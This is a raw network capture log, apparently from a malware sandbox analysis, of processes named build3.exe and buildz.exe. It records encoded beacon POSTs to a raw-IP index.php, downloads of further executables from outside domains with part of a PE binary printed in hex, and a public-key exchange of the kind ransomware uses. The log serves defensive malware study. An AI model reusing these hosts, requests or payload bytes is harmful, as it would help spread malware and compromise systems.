Dec 20, 2023 15:35:26.775969028 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:27.084837914 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49778	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:27.515677929 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:27.816968918 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:27.819469929 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:28.122185946 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49779	210.182.29.70	80	6664	C:\Users\user\Desktop\a\buildz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:27.877351046 CET	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: brusuax.com
Dec 20, 2023 15:35:28.422765970 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:28 GMT Content-Type: application/octet-stream Content-Length: 308736 Last-Modified: Mon, 18 Dec 2023 16:30:02 GMT Connection: close ETag: "6580738a-4b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 28 a9 f4 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 02 00 00 78 44 00 00 00 00 00 84 30 00 00 00 10 00 00 00 80 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 46 00 00 04 00 00 30 df 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c3 02 00 64 00 00 00 00 e0 44 00 98 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 81 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b9 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 90 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f6 6a 02 00 00 10 00 00 00 6c 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ce 4c 00 00 00 80 02 00 00 4e 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 07 42 00 00 d0 02 00 00 1a 00 00 00 be 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 dc 01 00 00 e0 44 00 00 de 01 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(clxD0@F0dD0@.textjl `.rdataLNp@@.dataB@.rsrcD@@
Dec 20, 2023 15:35:28.422894955 CET	1286	IN	Data Raw: 55 8b ec 56 8d 45 08 50 8b f1 e8 86 19 00 00 c7 06 00 82 42 00 8b c6 5e 5d c2 04 00 cc cc cc cc c7 01 00 82 42 00 e9 37 1a 00 00 cc cc cc cc cc 55 8b ec 56 8b f1 e8 e5 ff ff ff f6 45 08 01 74 09 56 e8 e9 1b 00 00 83 c4 04 8b c6 5e 5d c2 04 00 cc Data Ascii: UVEPB^]B7UVEtV^]UEQRUQR]UEQRUQR]ffhBUPEV]UPEV]
Dec 20, 2023 15:35:28.751379967 CET	1286	IN	Data Raw: 42 00 8b 55 fc 52 e8 3f fd ff ff 83 45 fc 08 83 6d f8 01 0f 85 51 ff ff ff 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 c7 45 fc 00 00 00 00 81 45 fc 00 00 00 00 8b 45 fc 01 05 d4 c5 84 00 8b e5 5d c3 cc 51 68 58 f4 42 00 ff 15 Data Ascii: BUR?EmQ_^[]UQEEE]QhXBBUdjhzBPd%=SVWjjEPjjj0BjjjjBjj@BjxBBMQ BujEjjT
Dec 20, 2023 15:35:28.751405954 CET	1286	IN	Data Raw: cc cc cc cc 8b c1 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec e8 88 f6 ff ff 8b 4d 08 e8 f0 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 80 7d 0c 00 8b 45 08 56 74 24 83 78 18 08 72 1e 8d 70 04 57 8b 3e 85 db 76 09 53 Data Ascii: UM]U}EVt$xrpW>vSWjJSE_@^]xr@UQVuEPEqP ^]yrAA
Dec 20, 2023 15:35:28.751436949 CET	1286	IN	Data Raw: ec 83 ec 0c 85 c9 77 11 33 c9 03 c9 51 e8 55 0f 00 00 83 c4 04 8b e5 5d c3 83 c8 ff 33 d2 f7 f1 83 f8 02 73 e5 6a 00 8d 4d f4 e8 bf f0 ff ff 68 a0 c2 42 00 8d 45 f4 50 e8 cc 11 00 00 cc 55 8b ec 8b 45 08 56 50 8b f1 e8 a6 0a 00 00 c7 06 00 82 42 Data Ascii: w3QU]3sjMhBEPUEVPB^]UQE]PQjRUQE]UPE]UPE]Uuuuu>E]U}Vt+qA
Dec 20, 2023 15:35:28.751471996 CET	1286	IN	Data Raw: 5d c2 04 00 8b ff 55 8b ec 56 8b f1 6a 00 c7 46 18 0f 00 00 00 e8 8e f6 ff ff ff 75 08 8b ce e8 bf ff ff ff 8b c6 5e 5d c2 04 00 6a 44 b8 39 7a 42 00 e8 1b 11 00 00 68 3c 82 42 00 8d 4d d8 e8 c0 ff ff ff 83 65 fc 00 8d 45 d8 50 8d 4d b0 e8 3c fe Data Ascii: ]UVjFu^]jD9zBh<BMeEPM<hBEPUUVN;s+;MsM}vBFSW~rr?+M]QS+PWF+EP_[^]US]VW}G;s<+E
Dec 20, 2023 15:35:29.079649925 CET	1286	IN	Data Raw: 46 ff ff ff 83 c4 0c 5d c3 8b ff 55 8b ec 8b 45 14 56 57 33 ff 3b c7 74 47 39 7d 08 75 1b e8 83 3a 00 00 6a 16 5e 89 30 57 57 57 57 57 e8 0c 3a 00 00 83 c4 14 8b c6 eb 29 39 7d 10 74 e0 39 45 0c 73 0e e8 5e 3a 00 00 6a 22 59 89 08 8b f1 eb d7 50 Data Ascii: F]UEVW3;tG9}u:j^0WWWWW:)9}t9Es^:j"YPuuE53_^]``XBUS]VWXBt&PFV:YYGt3VP:gG_^[]UMXB`H]US]V
Dec 20, 2023 15:35:29.079675913 CET	1286	IN	Data Raw: 45 08 83 c1 09 51 83 c0 09 50 e8 2d 4c 00 00 f7 d8 59 1b c0 59 40 5d c2 04 00 8b ff 55 8b ec 8b 45 08 85 c0 7d 02 f7 d8 5d c3 8b ff 55 8b ec 8b 45 08 85 c0 7d 02 f7 d8 5d c3 8b ff 56 6a 01 68 94 d0 42 00 8b f1 e8 79 fb ff ff c7 06 00 82 42 00 8b Data Ascii: EQP-LYY@]UE}]UE}]VjhByB^UulLYtu5YtBBuBhzB"YVMhBEP>U=BufuhhYY]jXhHBU83u
Dec 20, 2023 15:35:29.079694986 CET	1286	IN	Data Raw: 64 89 1d 00 00 00 00 eb 09 8b 45 d8 64 a3 00 00 00 00 8b 45 c8 5b c9 c3 8b ff 55 8b ec 51 53 fc 8b 45 0c 8b 48 08 33 4d 0c e8 03 02 00 00 8b 45 08 8b 40 04 83 e0 66 74 11 8b 45 0c c7 40 24 01 00 00 00 33 c0 40 eb 6c eb 6a 6a 01 8b 45 0c ff 70 18 Data Ascii: dEdE[UQSEH3ME@ftE@$3@ljjEpEpEpjuEpu[ Ex$uuujjjjjEPh#E]ck 3@[UQSVW}GwE-u\MNkM9H};H~
Dec 20, 2023 15:35:29.079715967 CET	1286	IN	Data Raw: 00 e8 5f fe ff ff 59 68 c8 81 42 00 b8 c4 81 42 00 e8 4f fe ff ff 59 c7 45 fc fe ff ff ff e8 1f 00 00 00 83 7d 10 00 75 28 89 1d ec e8 42 00 6a 08 e8 9e 5a 00 00 59 ff 75 08 e8 fc fd ff ff 33 db 43 83 7d 10 00 74 08 6a 08 e8 85 5a 00 00 59 c3 e8 Data Ascii: _YhBBOYE}u(BjZYu3C}tjZY'/Ujju]Ujju]jjjjjjV1VBV\V8)V\V\VVjBVWh8@$B^T$
Dec 20, 2023 15:35:29.079735994 CET	1286	IN	Data Raw: 45 f8 50 8d 34 fd b4 d0 42 00 ff 36 e8 49 f3 ff ff 59 50 ff 36 53 ff 15 d8 80 42 00 5f 5e 5b c9 c3 6a 03 e8 34 5c 00 00 59 83 f8 01 74 15 6a 03 e8 27 5c 00 00 59 85 c0 75 1f 83 3d 98 d0 42 00 01 75 16 68 fc 00 00 00 e8 29 fe ff ff 68 ff 00 00 00 Data Ascii: EP4B6IYP6SB_^[j4\Ytj'\Yu=Buh)hYY-t"ttHt3VWh3FWPJ3~~~~pBF+@Ou@Nu_^U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49781	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:29.610610008 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:29.905083895 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:31.011142015 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:31.307301044 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49782	179.153.102.52	80	6664	C:\Users\user\Desktop\a\buildz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:31.565068960 CET	137	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Dec 20, 2023 15:35:35.201910019 CET	761	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:31 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 75 35 31 66 77 6e 51 79 38 55 75 2b 73 49 4a 6e 73 66 38 42 5c 5c 6e 66 53 69 7a 31 61 75 68 5a 74 4c 39 39 6a 48 62 75 64 32 37 79 42 32 34 78 54 58 6a 52 78 6e 46 5c 2f 71 55 44 6a 74 50 75 4d 7a 71 52 39 63 6e 6b 34 46 4d 34 62 44 37 33 77 51 52 72 64 52 46 68 5c 5c 6e 53 45 35 57 6b 31 31 76 74 6b 53 50 70 34 7a 43 4e 6e 58 37 69 4f 42 47 78 52 71 36 54 52 58 41 33 72 58 6c 4d 2b 50 75 6f 52 5a 4a 76 6f 53 6d 31 67 38 39 63 56 6e 6d 70 38 75 75 55 5a 67 4d 5c 5c 6e 30 45 74 6c 55 6b 62 48 57 4b 46 6b 72 33 4c 4e 47 5a 6c 33 33 68 55 6d 76 46 69 77 30 43 51 52 71 2b 54 34 44 49 7a 39 64 6e 4b 46 6f 53 43 4f 44 43 4f 41 59 4c 34 65 66 62 59 47 5a 69 6c 37 5c 5c 6e 63 33 5c 2f 48 7a 35 43 46 45 2b 66 65 56 54 2b 65 55 34 7a 62 4e 74 43 6d 34 42 37 76 79 42 76 4b 4e 34 73 4d 69 44 52 61 6b 4a 48 51 5a 73 4a 5a 34 48 64 6b 55 46 6a 39 4f 4d 71 4e 37 37 34 61 5c 5c 6e 63 36 69 6b 67 43 74 54 4a 64 49 42 78 45 37 5a 61 37 59 6f 53 59 49 50 47 76 67 41 34 6b 5c 2f 51 4e 76 71 56 36 4f 36 55 37 33 71 4e 42 65 30 34 6b 52 78 73 5a 6e 38 33 74 49 66 36 35 45 76 63 5c 5c 6e 4f 51 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 53 4c 69 62 79 4a 38 6e 5a 50 34 33 4b 38 58 36 59 63 6f 72 39 49 78 76 4f 6c 73 4b 48 56 54 4c 49 70 57 32 6e 51 34 50 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24xTXjRxnF\/qUDjtPuMzqR9cnk4FM4bD73wQRrdRFh\\nSE5Wk11vtkSPp4zCNnX7iOBGxRq6TRXA3rXlM+PuoRZJvoSm1g89cVnmp8uuUZgM\\n0EtlUkbHWKFkr3LNGZl33hUmvFiw0CQRq+T4DIz9dnKFoSCODCOAYL4efbYGZil7\\nc3\/Hz5CFE+feVT+eU4zbNtCm4B7vyBvKN4sMiDRakJHQZsJZ4HdkUFj9OMqN774a\\nc6ikgCtTJdIBxE7Za7YoSYIPGvgA4k\/QNvqV6O6U73qNBe04kRxsZn83tIf65Evc\\nOQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49783	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:31.722462893 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:32.018954039 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:32.049346924 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:32.346303940 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49786	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:32.765721083 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:33.058000088 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:33.069441080 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:33.364037037 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49789	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:33.824024916 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:34.115778923 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:34.147192001 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:34.444880962 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49784	179.153.102.52	80	6664	C:\Users\user\Desktop\a\buildz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:35.222512960 CET	94	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49792	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:35.874314070 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:36.166452885 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
